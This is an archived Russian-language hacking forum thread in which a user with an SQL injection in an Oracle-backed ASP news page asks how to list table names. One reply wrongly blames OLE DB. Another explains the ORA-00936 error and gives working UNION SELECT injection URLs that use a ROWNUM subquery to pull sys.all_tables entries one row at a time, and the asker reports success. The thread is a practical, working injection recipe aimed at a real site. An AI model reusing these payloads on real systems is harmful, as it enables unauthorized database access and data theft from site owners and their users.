PDA

Просмотр полной версии : rownum в Oracle


[Raz0r]
29.08.2007, 18:45
Есть SQL-инъекция в Oracle, подобрано количество полей (9), а также те из них, которые могут выводить инфу. При попытке получить названия таблиц из sys.all_tables выводится только первое значение. Я знаю, что в Oracle нет аналога LIMIT'а, но есть rownum. Но когда я пробую запрос типа

http://site.com/news.asp?id=-1+UNION+SELECT+null,to_char(TABLE_NAME),NULL,NULL, NULL,NULL,NULL,NULL,NULL+FROM+sys.all_tables+where +rownum+<=+10--

получаю ошибку

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC driver for Oracle][Oracle]ORA-00936: missing expression

/news.asp, line 31

В чем может быть проблема?

guest3297
29.08.2007, 18:58
в том что это Ole Db.

[Raz0r]
30.08.2007, 17:28
в том что это Ole Db.
Поподробней пожалуйста)

guest3297
30.08.2007, 18:15
подробности в сапорте у майкрофсофта. не сталкивался раньше но предположу что данные храняться в файлах как а джет дб, из-за этого другой синтаксис запросов.

groundhog
31.08.2007, 10:42
[ cash ], я так и знал что ты это скажешь. Какой нахрен в файлах? Ты описание ошибки видел? ORA-00936... Это именно от оракла пришла ошибка... Прежде чем что-то говорить про OLE DB посмотри что говорит Knowledge Xpert for PL/SQL Development:

ORA-00936 missing expression

Cause: A required part of a clause or expression has been omitted. For example, a SELECT statement may have been entered without a list of columns or expressions or with an incomplete expression. This message is also issued in cases where a reserved word is misused, as in SELECT TABLE.

Action: Check the statement syntax and specify the missing component

Переведу:

ORA-00936 отсутствует выражение

Причина: Обязательная часть условия или выражения была пропущена. Например, оператор SELECT мог быть введён без списка колонок и выражений, или же с незаконченным списком. Это сообщение так же может быть вызвано в случае неверного использования зарезервированного слова, как например в выражении SELECT TABLE.

Исправление: проверьте синтаксис выражения и добавьте недостающие конструкции.

А проблема скорее всего связана со спецификой запроса... Он формируется динамически, то есть в зависимости от условия к нему что-то приписывается... И очередная приписка приводит к некорректному синтаксису запроса.

И насчёт подбора столбцов... Факов до фига по Oracle, везде используют ROWNUM, но никто не описал такую простую конструкцию:

SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN X AND X
Задавая X - можно спокойно перемещаться по списку записей, пускай это несколько усложнит запрос, зато будет однозначность - возвращаться всегда будет одна запись. То есть:

SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 1 AND 1
Вернёт первую запись

SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 2 AND 2
Вернёт вторую запись и т.д.

[Raz0r], то есть, в твоём случае надо попробовать что-то типа такого:

http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+1+AND+ 1

http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+2+AND+ 2

http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+3+AND+ 3
и т.д.

[Raz0r]
01.09.2007, 20:41
groundhog, честно говоря не ожидал, что кто-то сумеет мне помочь, но ты мне реально помог, большое спасибо!